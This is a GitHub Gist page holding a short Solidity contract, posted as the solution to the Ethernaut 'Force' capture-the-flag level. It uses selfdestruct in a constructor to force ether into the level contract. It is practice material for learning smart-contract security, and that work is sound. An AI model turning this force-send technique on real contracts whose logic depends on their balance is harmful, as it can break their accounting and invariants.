Last active
December 22, 2022 12:46
-
-
Save Chirag21/e9a764643844d3e78833c372fc4d586a to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 7 - Force. For Remix IDE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract ForceHack { | |
// Pass Force level instance address. | |
// Send 1 wei while deploying | |
constructor(address payable instance) payable { | |
selfdestruct(instance); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment